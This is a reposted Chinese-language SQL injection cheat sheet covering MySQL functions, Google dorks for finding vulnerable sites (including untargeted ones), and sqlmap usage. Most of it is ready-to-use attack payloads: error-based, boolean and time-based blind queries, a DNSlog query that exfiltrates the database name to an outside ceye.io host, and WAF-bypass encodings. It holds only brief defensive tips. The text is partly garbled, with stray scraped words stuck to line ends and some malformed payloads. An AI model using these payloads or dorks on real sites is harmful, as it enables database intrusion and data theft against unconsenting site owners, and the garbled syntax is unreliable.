sql注入經常使用函數

當全部情緒都堆在一塊兒的時候,才發現本身已經不是那個一塊糖就能開心的小孩子了。。。php

----  網易雲熱評mysql

1、MySql注入經常使用函數git

一、system_user()系統用戶名github

二、user()用戶名web

三、current_user()當前用戶名正則表達式

四、session_user()連接數據庫的用戶名sql

五、database()數據庫名數據庫

六、version()數據庫版本瀏覽器

七、@@datadir數據庫路徑安全

八、@@basedir數據庫安裝路徑

九、@@version_conpile_os操做系統

十、count()返回執行結果數量

十一、concat()沒有分隔符的連接字符串

十二、concat_ws()含有分隔符的鏈接字符串

1三、group_concat()鏈接一個組的全部字符串,並以逗號分隔每一條數據

1四、load_file()讀取本地文件

1五、into outfile 寫文件

1六、ascii()字符串的ASCII代碼值

17ord()返回字符串第一個字符的ASCII值

18mid()返回一個字符串的一部分

19substr()返回一個字符串的一部分

20、length()返回字符串的長度

2一、left()返回字符串最左面幾個字符

2二、floor()返回小於或等於x的最大整數

2三、rand()返回0和1之間的一個隨機數

2四、extractvalue()

第一個參數:XML_docment是String格式,爲XML文檔對象的名稱,文中爲Doc

第二個參數:XPath_string(Xpath格式的字符串)

做用:從目標XML中返回包含所查詢值的字符串

2五、updatexml()

第一個參數:XML_docment是String格式,爲XML文檔對象的名稱,文中爲Doc

第二個參數:Xpath_string(Xpath格式的字符串)

第三個參數:new_value,String格式,替換查找到的符合條件的數據target.com

做用:改變文檔中符合條件的節點的值

2六、sleep()讓此語句運行N秒鐘

2七、if() SELECT IF(1>2,2,3) ; -->3

2八、char()返回整數ASCII代碼字符組成的字符串

2九、strcmp()比較字符串內容

30、ifnull() 假如參數1不爲NULL,則返回值爲參數1,不然其返回值爲參數2

31exp()返回e的x次方


2、目標蒐集

一、無特定目標:inurl:.php?id=

二、有特定目標:inurl:php?id= site:

三、工具爬取:spider,對搜索引擎和目標網站的連接進行爬取


3、注入識別

一、手工簡單識別:

'

and 1=1/and 1=2

and '1'='1/and '1'='2

and 1like 1/and 1like 2

二、工具識別:

sqlmap -m filename(filename中保存檢測目標)

sqlmap --crawl(sqlmap對目標網站進行爬取,而後一次進行測試)

三、高級識別

擴展識別廣度和深度:

SqlMap --level 增長測試級別,對header中相關參數也進行測試

sqlmap -r filename(filename中爲網站請求數據)

利用工具識別提升效率

BurpSuite+Sqlmap

BurpSuite攔截全部瀏覽器訪問提交的數據

BurpSuite擴展插件,直接調用SqlMap進行測試一些Tips

能夠在參數後鍵入"*"來肯定想要測試的參數

可能出現的點:新聞、登陸、搜索、留言

站在開發的角度去尋找


4、報錯注入方法

一、floor() :select count(*) from information_schema.tables group by concat((select

二、version()),floor(rand(0)*2));https://github.com/ADOOO/Dnslogsqlinj

三、group by會對rand()函數進行操做時產生錯誤

四、concat:鏈接字符串功能

五、floor:取float的整數值

六、rand:取0~1之間隨機浮點值

七、group by:根據一個或多個列對結果集進行分組並有排序功能

八、extractvalue():extractvalue(1,concat(0x7e,(select user()),0x7e));

九、updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e),1);


5、布爾盲注

一、left()函數

left(database(),1)>'s'

database()顯示數據庫名稱,leȨ(a,b)從左側截取a的前b位

二、regexp

select user() regexp'^r'

正則表達式的用法user()結果爲root,regexp爲匹配root的正則表達式

三、like

select user() like'^ro%'

與regexp相似,使用like進行匹配

四、substr()函數 ascii()函數

substr()函數 ascii(substr((select database()),1,1))<>98

substr(a,b,c)從b位置開始,截取字符串a的c長度,ascii()將某個字符轉換爲ascii值

五、ord()函數 mid()函數

ord(mid((select user()),1,1))=114

mid(a,b,c)從位置b開始,截取a字符串的c位ord()函數同ascii(),將字符轉爲ascii值


6、時間盲注

if(left(user(),1)='a',0,sleep(3));


7、DNSlog注入

SELECT LOAD_FILE(CONCAT('\\\\',select database(),'.mysql.r4ourp.ceye.io\\abc'));


8、寬字節注入

一、在注入點後鍵入%df,而後按照正常的諸如流程開始注入

二、黑盒測試:

在可能的注入點後鍵入%df,以後進行注入測試

三、白盒測試:

查看MySql編碼是否爲GBK

是否使用preg_replace把單引號替換成\'

是否使用addslashes進行轉義

是否使用mysql_real_escape_string進行轉義

四、防止寬字節注入

使用utf-8,避免寬字節注入

ps:不只在gbk,韓文、日文等等都是寬字節,都頗有可能存在寬字節注入漏洞

mysql_real_escape_string,mysql_set_charset('gbk',$conn);

設置參數,character_set_client=binary


9、二次編碼

一、在注入點後鍵入%2527,而後按照正常的注入流程開始注入

二、黑盒測試:

在可能的注入點後鍵入%2527,以後進行注入測試

三、白盒測試

是否使用urldecode函數

urldecode函數是否存在轉義方法以後


10、二次注入

一、插入惡意數據

第一次進行數據庫插入數據的時候,僅僅對其中的特殊字符進行了轉義,再寫入數據庫的時候仍是保留了原來的數據,可是數據自己包含惡意內容。

二、引用惡意數據

在將數據存入到數據庫以後,開發者就認爲數據是可信的。在下一次須要進行查詢的時候,直接從數據庫中取出了而已數據,沒有進行進一步的檢驗和處理,這樣就會形成SQL的二次注入。

三、二次注入防護:

對外部提交的數據,須要更加謹慎的對待。

程序內部的數據調用,也要嚴格的進行檢查,一旦不當心,測試者就能將特定了SQL語句帶入到查詢當中。


11、WAF繞過

熟練掌握MySQL函數和語法使用方法+深刻了解中間件運行處理機制+瞭解WAF防禦原理及方法=爲所欲爲的繞過WAF的保護

一、白盒繞過

使用了blacklist函數過濾了'or'和'AND'

大小寫變形:Or,OR,oR

等價替換:and->&&,or->||

二、黑盒繞過

尋找源站->針對雲WAF

利用同網段->繞過WAF防禦區域

利用邊界漏洞->繞過WAF防禦區域

資源限制角度繞過WAF

POST大BODY

請求方式變換GET->POST

Content-Type變換:application/x-www-form-urlencoded;->multipart/form-data;

參數污染

SQL註釋符繞過

Level-1:union/**/select

Level-2:union/*aaaa%01bbs*/select

Level-3:union/*aaaaaaaaaaaaaaaaaaaaaaa*/select

內聯註釋:/*!xxx*/

空白符繞過

MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/

正則的空白符:%09,%0A,%0B,%0D,%20

Example-1:union%250Cselect

Example-2:union%25A0select

concat%2520(

concat/**/(

concat%250c(http://127.0.0.1/Less/?id=1

concat%25a0(

浮點數詞法解析

select * from users where id=8E0union select 1,2,3

select * from users where id=8.0union select 1,2,3

select * from users where id=\Nunion select 1,2,3

extractvalue(1.concat(0x5c,md5(3)));

updatexml(1,concat(0x5d,md5(3))),1);

GeometryCollection((select*from(select@@version)f)x))

polygon((select*from(select name_const(version(),1))x))

linestring()

multipoint()

multilinestring()

multipolygon()

MySQL特殊語法

select{x table_name}from{x information_schema.tables};

三、Fuzz繞過

註釋符繞過

最基本的:union/**/select

中間引入特殊字:union/*aaa%0abbs*/select

最後測試註釋長度:union/*aaaaaaaaaaaaaaa*/select

最基本的模式:union/*something*/select

a1%!%2f


12、sqlmap的conf

sqlmap.py -v3(主函數入口)

--user-agent=websecurity(請求擴充)

--threads=5(訪問優化)

-p id注入配置

--level 3(檢測配置)

--technique=E(注入技術)

--current-user(信息獲取)

--flush-session(通用設置)

--beep(雜項)幕布 - 極簡大綱筆記 | 一鍵生成思惟導圖



禁止非法,後果自負

歡迎關注公衆號:web安全工具庫



本文分享自微信公衆號 - web安全工具庫(websec-tools)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索